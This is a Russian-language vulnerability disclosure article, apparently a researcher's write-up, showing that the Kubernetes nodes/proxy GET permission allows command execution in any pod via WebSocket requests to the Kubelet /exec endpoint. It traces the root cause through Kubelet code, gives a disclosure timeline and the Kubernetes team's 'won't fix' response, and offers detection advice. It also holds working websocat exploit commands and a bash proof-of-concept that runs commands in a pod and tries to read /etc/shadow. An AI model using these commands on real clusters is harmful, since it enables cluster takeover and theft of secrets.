nodes/proxy GET в Kubernetes: RCE через WebSocket

Введение

В этой статье я расскажу, как выполнить код в каждом Pod’е многих Kubernetes-кластеров, используя сервисный аккаунт (service account) с разрешением nodes/proxy GET. Я изначально сообщил об этой проблеме через процедуру раскрытия уязвимостей Kubernetes, однако отчёт был закрыт со статусом «работает как задумано».

Выполнение команд в другом Pod’е
Атрибут Подробности

Уязвимое разрешение

nodes/proxy GET

Проверенные версии Kubernetes

v1.34, v1.35

Необходимый сетевой доступ

Kubelet API (порт 10250)

Воздействие

Выполнение кода в любом Pod’е на доступных узлах

Статус раскрытия

Won’t fix (Задуманное поведение)

Затронутые Helm-чарты

69

Администраторы Kubernetes нередко предоставляют сервисным аккаунтам доступ к ресурсу nodes/proxy — например, для получения метрик Pod’ов или логов контейнеров. Поэтому инструменты мониторинга Kubernetes повсеместно используют это разрешение.

nodes/proxy GET разрешает выполнение команд при использовании протокола с поддержкой соединений (connection protocol), например WebSockets. Причина в том, что Kubelet принимает решения об авторизации на основе начального HTTP-запроса при WebSocket-рукопожатии (handshake) — без проверки наличия разрешения CREATE для конечной точки (endpoint) /exec, которая требует разных разрешений исключительно в зависимости от используемого протокола.

В итоге любой, кто имеет доступ к сервисному аккаунту с nodes/proxy GET и может достучаться до Kubelet узла на порту 10250, способен отправлять запросы на конечную точку /exec, выполняя команды в любом Pod’е, включая привилегированные системные Pod’ы, что потенциально ведёт к полной компрометации кластера. AuditPolicy Kubernetes не записывает в журнал команды, выполненные через прямое подключение к API Kubelet’а.

Это не проблема конкретного вендора. Разрешение nodes/proxy GET широко используется вендорами, поскольку общедоступных жизнеспособных альтернатив не существует. Быстрый поиск обнаружил 69 Helm-чартов, в которых упоминается разрешение nodes/proxy GET. Одни чарты включают его по умолчанию, другие требуют дополнительной настройки. Если вас это беспокоит — обратитесь к своему вендору и изучите раздел об обнаружении в этой статье.

Примечание

Для некоторых чартов функциональность, задействующая nodes/proxy, должна быть явно включена. Например, Cilium нужно настроить на использование Spire.

Ниже перечислены наиболее заметные чарты. Полный список из 69 Helm-чартов приведён в приложении:

Следующий ClusterRole показывает минимальный набор разрешений, достаточный для эксплуатации уязвимости.

Уязвимый ClusterRole

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get"]

Как администратор кластера, вы можете проверить все сервисные аккаунты на наличие этого разрешения с помощью скрипта обнаружения.

Если сервисный аккаунт уязвим, с помощью инструмента вроде websocat можно выполнять команды во всех Pod’ах кластера:

websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
uid=0(root) gid=0(root) groups=0(root)
Демонстрационная среда лабораторной работы

Чтобы следить за новыми исследованиями, подпишитесь на RSS-ленту или получайте материалы прямо на почту.

Детальный разбор: что такое Nodes/Proxy?

Краткое напоминание: Kubernetes RBAC использует ресурсы (resources) и глаголы (verbs) для управления доступом. Ресурсы вроде pods, pods/exec или pods/logs соответствуют конкретным операциям, а глаголы get, create или delete определяют допустимые действия. Например, pods/exec с глаголом create разрешает выполнение команд в Pod’ах, а pods/logs с глаголом get — чтение логов.

Ресурс nodes/proxy стоит особняком. В отличие от большинства ресурсов Kubernetes, которые отвечают за конкретные операции (как pods/exec для выполнения команд или pods/logs для доступа к логам), nodes/proxy — это разрешение-«комбайн», контролирующее доступ ко всему Kubelet API. Оно открывает доступ к двум связанным, но различным конечным точкам: прокси API-сервера (API Server Proxy) и Kubelet API.

Прокси API-сервера

Первая конечная точка, к которой открывает доступ nodes/proxy, — это прокси-эндпоинт API-сервера: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/…​.

Запросы, направленные на этот эндпоинт, проксируются от API-сервера к Kubelet’у на целевом узле. Это используется для множества операций, среди которых наиболее распространены:

  • Чтение метрик: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics

  • Чтение потребления ресурсов: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/stats/summary

  • Получение логов контейнеров: $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/containerLogs/$NAMESPACE/$POD_NAME/$CONTAINER_NAME

К ним можно обращаться через флаг --raw утилиты kubectl или напрямую через curl. Например, запрос к эндпоинту метрик возвращает базовую информацию:

# с помощью kubectl
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# или с помощью curl
curl -sk -H "Authorization: Bearer $TOKEN" $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.

Поскольку этот запрос проходит через API-сервер, он генерирует записи в журнале для ресурсов pods/exec и subjectaccessreviews (если настроена AuditPolicy). В залогированном запросе pods/exec обратите внимание на поле requestURI — оно содержит полную команду, выполненную в Pod’е.

// Запрос, сгенерированный через AuditPolicy
{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "196f4d69-6cfa-4812-b7b9-4bf13689cb8d",
  "stage": "RequestReceived",
  "requestURI": "/api/v1/namespaces/kube-system/pods/etcd-minikube/exec?command=sh&command=-c&command=filename%3D%2Fvar%2Flib%2Fminikube%2Fcerts%2Fetcd%2Fserver.key%3B+while+IFS%3D+read+-r+line%3B+do+printf+%22%25s%5C%5Cn%22+%22%24line%22%3Bdone+%3C+%22%24filename%22&container=etcd&stdin=true&stdout=true&tty=true",
  "verb": "get",
  "user": {
    "username": "minikube-user",
    "groups": [
      "system:masters",
      "system:authenticated"
    ],
    "extra": {
      "authentication.kubernetes.io/credential-id": [
        "X509SHA256=3da792d1a94c5205821984a672707270a9f2d8e27190eb09051b15448e5bf0c3"
      ]
    }
  },
  "sourceIPs": [
    "192.168.67.1"
  ],
  "userAgent": "kubectl/v1.31.0 (linux/amd64) kubernetes/9edcffc",
  "objectRef": {
    "resource": "pods",
    "namespace": "kube-system",
    "name": "etcd-minikube",
    "apiVersion": "v1",
    "subresource": "exec"
  },
  "requestReceivedTimestamp": "2025-11-04T05:42:51.025534Z",
  "stageTimestamp": "2025-11-04T05:42:51.025534Z"
}

Kubelet API

Помимо прокси-эндпоинта API-сервера, ресурс nodes/proxy также открывает прямой доступ к API Kubelet’а. Напомним: на каждом узле работает процесс Kubelet, который сообщает среде выполнения контейнеров (container runtime), какие контейнеры нужно создать.

Kubelet предоставляет различные API-эндпоинты, возвращающие информацию, аналогичную той, что доступна через прокси API-сервера. Например, те же данные метрик можно получить, обратившись к Kubelet API напрямую.

Примечание

Здесь необходимо использовать IP-адрес узла, а не его имя, как в запросе к API-серверу.

# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.

Примечательно, что прямое соединение с Kubelet’ом не проходит через API-сервер. Это означает, что AuditPolicy Kubernetes генерирует записи только для subjectaccessreviews (проверка авторизации перед выполнением действия), но не логирует само действие pods/exec, и команда, выполненная в Pod’е, остаётся незаметной.

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "1be86af9-26e7-40e9-aaae-bbb904df129b",
  "stage": "ResponseComplete",
  "requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",
  "verb": "create",
  "user": {
    "username": "system:node:minikube",
    "groups": [
      "system:nodes",
      "system:authenticated"
    ],
    "extra": {
      "authentication.kubernetes.io/credential-id": [
        "X509SHA256=52d652baad2bfd4d1fa0bb82308980964f8c7fbf01784f30e096accd1691f889"
      ]
    }
  },
  "sourceIPs": [
    "192.168.67.2"
  ],
  "userAgent": "kubelet/v1.34.0 (linux/amd64) kubernetes/f28b4c9",
  "objectRef": {
    "resource": "subjectaccessreviews",
    "apiGroup": "authorization.k8s.io",
    "apiVersion": "v1"
  },
  "responseStatus": {
    "metadata": {},
    "code": 201
  },
  "requestReceivedTimestamp": "2025-11-04T05:54:54.978676Z",
  "stageTimestamp": "2025-11-04T05:54:54.979425Z",
  "annotations": {
    "authorization.k8s.io/decision": "allow",
    "authorization.k8s.io/reason": ""
  }
}

На момент написания документация по авторизации Kubelet’а не содержит исчерпывающего списка API-эндпоинтов. Kubelet API предоставляет следующие дополнительные эндпоинты:

  • /exec — запускает новый процесс и выполняет произвольные команды в контейнерах (интерактивный режим)

  • /run — аналог /exec, выполняет команды в контейнерах и возвращает вывод (не интерактивный)

  • /attach — подключается к процессу контейнера и открывает доступ к его потокам stdin/stdout/stderr

  • /portforward — создаёт сетевые туннели для перенаправления TCP-соединений к контейнерам

Основной интерес для нас представляют эндпоинты /exec и /run. В отличие от read-only эндпоинтов /metrics и /stats, они разрешают выполнение кода внутри контейнеров.

В стандартной семантике Kubernetes RBAC операции вроде создания Pod’ов или выполнения в них команд требуют RBAC-глагола CREATE, тогда как операции чтения — глагола GET. Это делает очень простым взгляд на (Cluster)Role и понимание того, является ли она read-only или нет. Однако, как указал Рори МакКьюн в статье When is read-only not read-only?, это правило работает не всегда.

nodes/proxy CREATE общепризнанно опасен и хорошо задокументирован как риск:

Даже в ходе аудита безопасности от nccgroup были обнаружены проблемы с nodes/proxy GET в сочетании с nodes/status PATCH или nodes CREATE:

Результаты аудита безопасности — kubernetes/kubernetes#119270

Документация явно указывает, что авторизация запросов к Kubelet и к прокси-пути API-сервера работает одинаково: «Kubelet авторизует API-запросы, используя тот же подход на основе атрибутов запроса, что и API-сервер».

Когда обычный запрос поступает на API-сервер, Kubernetes считывает HTTP-метод (GET, POST, PUT…) и преобразует его в RBAC-глаголы: GET, CREATE, UPDATE. (auth.go:80-94)

Документация Kubernetes описывает следующие соответствия HTTP-глаголов и RBAC-глаголов:

Таблица соответствия HTTP-методов и RBAC-глаголов

Это должно обеспечивать единообразное поведение: POST → RBAC CREATE, GET → RBAC GET. Однако когда к эндпоинту /exec Kubelet’а обращаются через не-HTTP-протокол, например WebSockets (который по RFC требует HTTP GET во время начального рукопожатия), Kubelet принимает решение об авторизации именно на основе этого начального GET-запроса, а не на основе последующей операции выполнения команды. В результате nodes/proxy GET ошибочно разрешает выполнение команд там, где должен требоваться nodes/proxy CREATE.

Разбор уязвимости

Разрешение nodes/proxy предоставляет сервисному аккаунту доступ к Kubelet API. Специалисты по безопасности давно установили, что это может быть опасно: даже без данной уязвимости доступ на чтение к Kubelet API открывает read-only эндпоинты вроде /metrics и /containerLogs.

Примечание

Настоятельно рекомендую проверить их на наличие секретов и API-ключей!

Однако описываемая проблема гораздо серьёзнее: nodes/proxy GET фактически даёт возможность записи — доступ к эндпоинтам выполнения команд.

Для дальнейшего обсуждения я буду использовать сервисный аккаунт со следующим ClusterRole:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get"]

Первопричина

Как было сказано ранее, Kubelet выбирает проверяемый RBAC-глагол на основе начального HTTP-метода. POST → RBAC CREATE, GET → RBAC GET.

Это примечательно, поскольку эндпоинты выполнения команд на Kubelet’е, такие как /exec, используют WebSockets для двунаправленной потоковой передачи данных. HTTP плохо подходит для интерактивного двунаправленного взаимодействия в реальном времени, поэтому для интерактивного выполнения команд нужен протокол вроде WebSockets или SPDY.

Протокол WebSocket требует начального HTTP GET-запроса с заголовком Connection: Upgrade для установления соединения и перехода на WebSockets.

Это означает, что при установлении любого WebSocket-соединения первым всегда отправляется HTTP GET с заголовком Connection: Upgrade.

Из-за этого начального GET-запроса при установлении WebSocket-соединения Kubelet ошибочно авторизует запрос на основании этого GET, а не проверяет разрешения на фактическую операцию после установления соединения.

В Kubelet’е отсутствует проверка авторизации после обновления соединения (upgrade): он никогда не проверяет, есть ли у сервисного аккаунта разрешение на реальную выполняемую операцию при использовании WebSockets.

Это позволяет выполнять команды через эндпоинт /exec без разрешения CREATE, используя инструмент вроде websocat для отправки WebSocket-запросов.

Чтобы продемонстрировать это, проверим свои разрешения и убедимся, что сервисному аккаунту назначено только nodes/proxy GET:

Resources                                                       Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io                        []                []             [create]
selfsubjectaccessreviews.authorization.k8s.io                   []                []             [create]
selfsubjectrulesreviews.authorization.k8s.io                    []                []             [create]
                                                                [/.well-known/openid-configuration/] [] [get]
                                                                [/.well-known/openid-configuration] [] [get]
                                                                [/api/*]           []             [get]
                                                                [/api]             []             [get]
                                                                [/apis/*]          []             [get]
                                                                [/apis]            []             [get]
                                                                [/healthz]         []             [get]
                                                                [/healthz]         []             [get]
                                                                [/livez]           []             [get]
                                                                [/livez]           []             [get]
                                                                [/openapi/*]       []             [get]
                                                                [/openapi]         []             [get]
                                                                [/openid/v1/jwks/] []             [get]
                                                                [/openid/v1/jwks]  []             [get]
                                                                [/readyz]          []             [get]
                                                                [/readyz]          []             [get]
                                                                [/version/]        []             [get]
                                                                [/version/]        []             [get]
                                                                [/version]         []             [get]
                                                                [/version]         []             [get]
nodes/proxy                                                     []                []             [get]

Убедившись, что у сервисного аккаунта есть только nodes/proxy GET, можно использовать websocat для отправки WebSocket-запроса напрямую к эндпоинту /exec Kubelet’а:

websocat \
  --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol "v4.channel.k8s.io" \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=hostname"
nginx
{"metadata":{},"status":"Success"}

Вывод подтверждает: команда hostname выполнилась успешно. Вот она — уязвимость. Логика авторизации Kubelet’а сопоставляет HTTP GET WebSocket’а, отправленный во время рукопожатия, с RBAC-глаголом GET. После этого проверяется nodes/proxy GET (который у нас есть), и операция разрешается. Никакой повторной проверки наличия CREATE для этой операции записи не существует!

Для сравнения: при использовании POST (который соответствует RBAC-глаголу CREATE) к тому же эндпоинту /exec запрос отклоняется:

curl -sk -X POST \
  -H "Authorization: Bearer $TOKEN" \
  "https://$NODE_IP:10250/exec/default/nginx/nginx?command=hostname&stdout=true&stderr=true"
Forbidden (user=system:serviceaccount:default:attacker, verb=create, resource=nodes, subresource(s)=[proxy])

Как и ожидалось, запрос отклонён, поскольку у пользователя system:serviceaccount:default:attacker нет nodes/proxy CREATE — только nodes/proxy GET. Логика авторизации корректно сопоставляет HTTP POST с RBAC-глаголом CREATE.

Оба запроса нацелены на один и тот же эндпоинт /exec Kubelet’а для выполнения команд, но авторизуются с разными RBAC-глаголами — исключительно на основе начального HTTP-метода, требуемого протоколом соединения.

Решения об авторизации должны основываться на том, что делает операция, а не на том, как передаётся запрос. Это позволяет злоумышленникам обходить существующие механизмы контроля доступа, просто выбирая другой протокол соединения.

Примечание

В этой статье для простоты используются WebSockets, хотя в Kubernetes применяется и SPDY.

Чтобы понять, почему так происходит, мне пришлось проследить путь запроса через кодовую базу. Вот цепочка, которую я обнаружил:

  1. Клиент инициирует WebSocket-соединение: клиент отправляет HTTP GET на /exec/default/nginx/nginx?command=id с заголовком Connection: Upgrade для установления WebSocket-соединения. Например, с помощью websocat.

  2. Аутентификация: Kubelet проверяет JWT bearer token из запроса и извлекает идентификатор пользователя, например system:serviceaccount:default:attacker. (server.go:338)

  3. Атрибуты авторизации запроса: Kubelet вызывает функцию получения атрибутов авторизации, передавая аутентифицированного пользователя и HTTP-запрос для определения проверяемых RBAC-разрешений. (server.go:350)

  4. Сопоставление HTTP-метода с RBAC-глаголом: Kubelet анализирует метод запроса GET (обязательный по протоколу WebSocket согласно RFC 6455) и сопоставляет его с RBAC-глаголом "get". (auth.go:87)

Примечание

Это первая ошибка. Решение об авторизации принимается на основе обязательного HTTP GET во время WebSocket-рукопожатия.

  1. Сопоставление пути запроса с подресурсом: Kubelet анализирует путь /exec/default/nginx/nginx. Он не совпадает ни с одним конкретным случаем (/stats, /metrics, /logs, /checkpoint), поэтому по умолчанию используется подресурс proxy. (auth.go:129)

Примечание

Это вторая ошибка. Эндпоинт /exec (и некоторые другие) не перечислен явно, поэтому срабатывает ветка по умолчанию — proxy.

  1. Формирование атрибутов авторизации: Kubelet создаёт запись авторизации с глаголом GET, ресурсом nodes и подресурсом proxy. Именно это будет проверяться по правилам RBAC. (auth.go:136)

Запись может выглядеть примерно так:

authorizer.AttributesRecord{
  User:            system:serviceaccount:default:attacker,
  Verb:            "get",
  Namespace:       "",
  APIGroup:        "",
  APIVersion:      "v1",
  Resource:        "nodes",
  Subresource:     "proxy",
  Name:            "minikube-m02",
  ResourceRequest: true,
  Path:            "/exec/default/nginx/nginx",
}
  1. Возврат атрибутов в фильтр: Kubelet возвращает сформированную запись авторизации обратно в фильтр авторизации. (auth.go:151)

  2. Выполнение проверки авторизации: Kubelet выполняет авторизацию — как правило, через webhook-запрос к RBAC-авторизатору API-сервера: «Может ли пользователь system:serviceaccount:default:attacker выполнить глагол get над ресурсом nodes/proxy?» (server.go:356)

Примечание

Именно здесь генерируются записи журнала subjectaccessreviews.

  1. Авторизация прошла успешно: авторизатор возвращает решение «разрешено», поскольку ClusterRole пользователя предоставляет nodes/proxy с глаголом ["get"]. (server.go:365)

Примечание

Это результат предыдущих ошибок: операции записи разрешаются несмотря на то, что у нас есть только RBAC-глагол get.

  1. Передача обработчику: Kubelet передаёт запрос следующему фильтру/обработчику в цепочке, поскольку авторизация прошла успешно. (server.go:384)

  2. Маршрутизация к обработчику exec: запрос совпадает с зарегистрированным маршрутом для GET-запросов к эндпоинту exec, и Kubelet передаёт его соответствующему обработчику. (server.go:968)

Примечание

Именно здесь должна существовать вторая проверка авторизации — как это реализовано при использовании пути через прокси API-сервера. (authorize.go:31)

  1. Поиск Pod’а: Kubelet ищет целевой Pod nginx в пространстве имён default. (server.go:976)

  2. Запрос URL выполнения от среды выполнения контейнеров: Kubelet запрашивает у Container Runtime Interface (CRI) потоковый URL для выполнения команды в указанном Pod’е и контейнере. (server.go:983)

  3. Среда выполнения контейнеров возвращает URL: CRI возвращает URL потокового эндпоинта для установления WebSocket-соединения и выполнения команды.

  4. Установление WebSocket-потока: Kubelet обновляет HTTP-соединение до WebSocket и устанавливает двунаправленную передачу данных между клиентом и средой выполнения контейнеров. (server.go:988)

  5. Выполнение команды в контейнере: среда выполнения контейнеров выполняет команду id внутри контейнера nginx.

  6. Возврат результата команды: среда выполнения передаёт вывод uid=0(root) gid=0(root) groups=0(root) обратно через WebSocket-соединение.

  7. Передача клиенту: Kubelet проксирует выходной поток клиенту, завершая выполнение команды — имея лишь разрешение nodes/proxy GET.

Что это демонстрирует?

Анализ кода выявляет два самостоятельных архитектурных изъяна, которые в сочетании и порождают уязвимость.

Авторизация на основе протокола соединения: Kubelet принимает решения об авторизации на основе начального HTTP-метода, а не выполняемой операции. WebSocket-соединения используют HTTP GET для начального рукопожатия, поэтому Kubelet проверяет глагол GET вместо CREATE.

Эндпоинты выполнения команд по умолчанию относятся к proxy: у Kubelet’а нет отдельных подресурсов для эндпоинтов выполнения команд /exec, /run, /attach и /portforward. Kubelet авторизует все эти эндпоинты через ресурс nodes/proxy. Сама по себе эта ошибка не эксплуатируема: при правильном сопоставлении глаголов WebSocket-соединения по-прежнему требовали бы CREATE. Проверка авторизации была бы nodes/proxy CREATE, что правомерно блокирует пользователей, имеющих только GET.

Примечание

Простое исправление этой ошибки лишь откладывает проблему. Добавление нового ресурса nodes/exec всё равно приведёт к появлению разрешения nodes/exec GET там, где требуется CREATE.

В совокупности эти два изъяна создают обход авторизации, при котором широко используемое разрешение nodes/proxy GET неожиданно позволяет выполнять команды в любом Pod’е по всему кластеру.

Обнаружение и рекомендации

К моему разочарованию, этот отчёт был закрыт со статусом «Won’t Fix» (Работает как задумано). Это означает, что разрешение nodes/proxy GET по-прежнему остаётся путём к правам администратора кластера.

Как администратор кластера, вы можете проверить все сервисные аккаунты на наличие этого разрешения с помощью скрипта обнаружения. Понимание модели угроз вашего кластера поможет оценить серьёзность проблемы. Она наиболее актуальна для мультиарендных кластеров (multi-tenant) или тех, где узлы являются границей безопасности.

Предпосылкой для эксплуатации является сетевой доступ к Kubelet API. Ограничение трафика к порту Kubelet’а остановило бы атаку, однако я не проверял, как это повлияет на работу кластера в целом.

В ходе обсуждений, возникших в результате раскрытия, проект Kubernetes рекомендовал продолжить реализацию KEP-2862. Эта функциональность не является общедоступной (Generally Available), и большинство вендоров, судя по всему, её не поддерживают (за исключением таких компаний, как Datadog, реализовавшей её в своих чартах). Это шаг в правильном направлении, но он не устраняет саму уязвимость. Подробнее я остановлюсь на этом ниже.

Эксплуатация

Детали уязвимости, описанные выше, более чем достаточны для понимания того, как её использовать. Начав с скомпрометированного Pod’а с разрешением nodes/proxy GET, злоумышленник может:

  • Перечислить все Pod’ы на доступных узлах через эндпоинт /pods Kubelet’а

  • Выполнять команды в любом Pod’е, используя WebSockets для обхода проверки глагола CREATE

  • Атаковать привилегированные системные Pod’ы вроде kube-proxy для получения root-доступа

  • Похитить токены сервисных аккаунтов для обнаружения дополнительных узлов и перемещения по кластеру

  • Получить доступ к Pod’ам управляющего уровня (control plane), включая etcd, kube-apiserver и kube-controller-manager

  • Извлечь секреты кластера или смонтировать файловую систему хоста из привилегированных контейнеров

Итог — полная компрометация кластера из того, что выглядит как read-only разрешение.

Proof of Concept

Демонстрация выполнения команд в Pod’е через nodes/proxy GET

Ниже приведён быстрый скрипт proof of concept для экспериментов:

#!/bin/bash
# Colors
RED=$(tput setaf 1)
BLUE=$(tput setaf 4)
YELLOW=$(tput setaf 3)
GREEN=$(tput setaf 2)
ENDCOLOR=$(tput sgr0)
TICK="[${GREEN}+${ENDCOLOR}] "
TICK_MOVE="[${GREEN}~>${ENDCOLOR}] "
TICK_BACKUP="[${GREEN}<~${ENDCOLOR}] "
TICK_INPUT="[${YELLOW}!${ENDCOLOR}] "
TICK_ERROR="[${RED}!${ENDCOLOR}] "
# Config
NODE_IP="${NODE_IP:?NODE_IP not set}"
TOKEN="${TOKEN:?TOKEN not set}"
NAMESPACE="${NAMESPACE:-default}"
POD="${POD:-nginx}"
CONTAINER="${CONTAINER:-nginx}"

exec_cmd() {
    local cmd="$1"
    local args=""
    for arg in $cmd; do
        args+="&command=$arg"
    done
    args="${args:1}" # strip leading &
    timeout 3 websocat --insecure -E \
        --header "Authorization: Bearer $TOKEN" \
        --protocol v4.channel.k8s.io \
        "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&$args" 2>/dev/null \
        | grep -v '{"metadata":{}}'
}

echo ""
echo "${TICK}Target: ${YELLOW}$NODE_IP:10250 ${ENDCOLOR}"
echo "${TICK}Pod: ${YELLOW}$NAMESPACE/$POD${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching hostname..."
hostname=$(exec_cmd "cat /etc/hostname" | tr -d '\n\r')
echo "${TICK}Hostname: ${GREEN}$hostname${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching identity..."
identity=$(exec_cmd "id")
echo "${TICK}Identity: ${GREEN}$identity${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Attempting to read /etc/shadow..."
shadow=$(exec_cmd "cat /etc/shadow")
if [[ -n "$shadow" ]]; then
    echo "${TICK}${RED}Successfully read /etc/shadow:${ENDCOLOR}"
    echo "$shadow"
else
    echo "${TICK_ERROR}Could not read /etc/shadow"
fi
Онлайн-лабораторная для проверки уязвимости

Для локального тестирования вот минимальный манифест для начала работы:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker
  namespace: default
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: attacker-nodes-proxy-reader
subjects:
- kind: ServiceAccount
  name: attacker
  namespace: default
roleRef:
  kind: ClusterRole
  name: nodes-proxy-reader
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Pod
metadata:
  name: attacker
  namespace: default
spec:
  serviceAccountName: attacker
  containers:
  - name: attacker
    image: alpine
    command: ["sleep", "infinity"]
---
apiVersion: v1
kind: Pod
metadata:
  name: nginx
  namespace: default
spec:
  containers:
  - name: nginx
    image: nginx

В ближайшие недели я опубликую детальное руководство по эксплуатации, в котором шаг за шагом разберу эти техники — включая инструменты и пошаговый разбор выхода из Pod’а на узел.

Процесс раскрытия

Уязвимость была сообщена команде безопасности Kubernetes через HackerOne 1 ноября 2025 года.

Хронология

Дата Событие

1 ноября 2025

Первичный отчёт направлен команде безопасности Kubernetes

14 ноября 2025

Запрошено обновление статуса

25 ноября 2025

Отчёт принят в работу (triaged)

14 декабря 2025

Команда уведомлена о 90-дневном сроке раскрытия (30 января 2026)

7 января 2026

Запрошено обновление по мере приближения даты раскрытия

23 января 2026

Ответ команды безопасности Kubernetes: Won’t Fix (Работает как задумано)

26 января 2026

Публичное раскрытие

Ответ команды безопасности Kubernetes

Приносим извинения за очень долгое ожидание.

После дополнительного рассмотрения совместно с SIG-Auth и SIG-Node мы подтверждаем наше решение: данное поведение является ожидаемым и не получит CVE. Несмотря на то что мы согласны с рисками nodes/proxy, исправление, ограничивающее этот конкретный путь, потребовало бы изменений авторизации как в Kubelet’е (для особой обработки пути /exec), так и в kube-apiserver (для добавления вторичной проверки пути /exec после сопоставления общего пути с nodes/proxy) — чтобы принудительно применять двойную авторизацию для глаголов «get» и «create». Мы пришли к выводу, что реализация и согласование такой логики двойной авторизации является хрупкой, архитектурно некорректной и потенциально неполной.

Мы по-прежнему уверены, что KEP-2862 (Fine-Grained Kubelet API Authorization) является правильным архитектурным решением. Вместо изменения грубозернистой авторизации nodes/proxy наша цель — сделать её устаревшей для агентов мониторинга, переведя детализированные разрешения в статус GA в релизе [1.36], ожидаемом в апреле 2026 года. После того как это некоторое время проработает в GA, мы сможем оценить риски совместимости при объявлении старого метода устаревшим. В рамках KEP мы выделили read-only эндпоинты (/configz /healthz /pods) и оставили эндпоинты выполнения кода (/attach /exec /run) как группу, поскольку у нас нет сценария использования, где имело бы смысл иметь доступ только к одному из них. Официальная документация [здесь] призвана прояснить текущую ситуацию с безопасностью. В предстоящем релизе мы подчеркнём важность этой функциональности и риски использования nodes/proxy.

Пожалуйста, не стесняйтесь публиковать свою статью и при желании включайте этот текст. Мы надеемся, что ваша публикация поможет нам побудить экосистему перейти на более безопасную модель авторизации, предоставляемую KEP-2862.

С уважением, команда безопасности Kubernetes

Я понимаю этот ответ и ценю его, однако со многими аспектами не согласен.

1. То же самое поведение было исправлено в другом месте

«Мы подтверждаем наше решение: данное поведение является ожидаемым»

Когда команда kubectl exec перешла с SPDY на WebSocket по умолчанию, API-сервер начал авторизовывать операции записи с неверным глаголом — ровно та же самая ошибка, но для ресурса pods/exec. Kubernetes v1.35 исправил эту ранее сообщённую проблему, добавив вторичную проверку авторизации, которая явно верифицирует глагол CREATE независимо от HTTP-метода.

Комментарий, обсуждающий исправление, прямо указывает на то, что это был неожиданный побочный эффект:

// Pod subresources differs on the REST verbs depending on the protocol used
// SPDY uses POST that at the authz layer is translated to "create".
// Websockets uses GET that is translated to "get".
// Since the defaulting to websocket for kubectl in KEP-4006 this caused an
// unexpected side effect and in order to keep existing policies backwards
// compatible we always check that the "create" verb is allowed.
// Ref: https://issues.k8s.io/133515

2. Авторизация непоследовательна

«Официальная документация [здесь] призвана прояснить текущую ситуацию с безопасностью.»

Документация, на которую они ссылаются, утверждает, что «https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/#kubelet-authorization[Kubelet авторизует API-запросы, используя тот же подход на основе атрибутов запроса, что и API-сервер]». Однако требования к авторизации непоследовательны в зависимости от способа обращения к эндпоинту /exec Kubelet’а. Запрос, отправленный через путь прокси API-сервера $APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/…​, и запрос напрямую к Kubelet API $NODE_IP:10250/exec/…​ приводят к разным решениям об авторизации.

Для демонстрации попробуем выполнить команду hostname через путь прокси API-сервера. Обратите внимание: мы намеренно отправляем запрос методом POST. Запрос будет выглядеть так:

POST /api/v1/nodes/minikube-m02/proxy/exec/default/nginx/nginx?command=hostname&stdout=true HTTP/2
Host: 10.96.0.1
User-Agent: curl/8.5.0
Accept: */*
Authorization: Bearer $TOKEN

Отправляем запрос через curl:

curl -sk -X POST \
  -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/default/nginx/nginx?command=hostname&stdout=true"
{
    "kind": "Status",
    "apiVersion": "v1",
    "metadata": {},
    "status": "Failure",
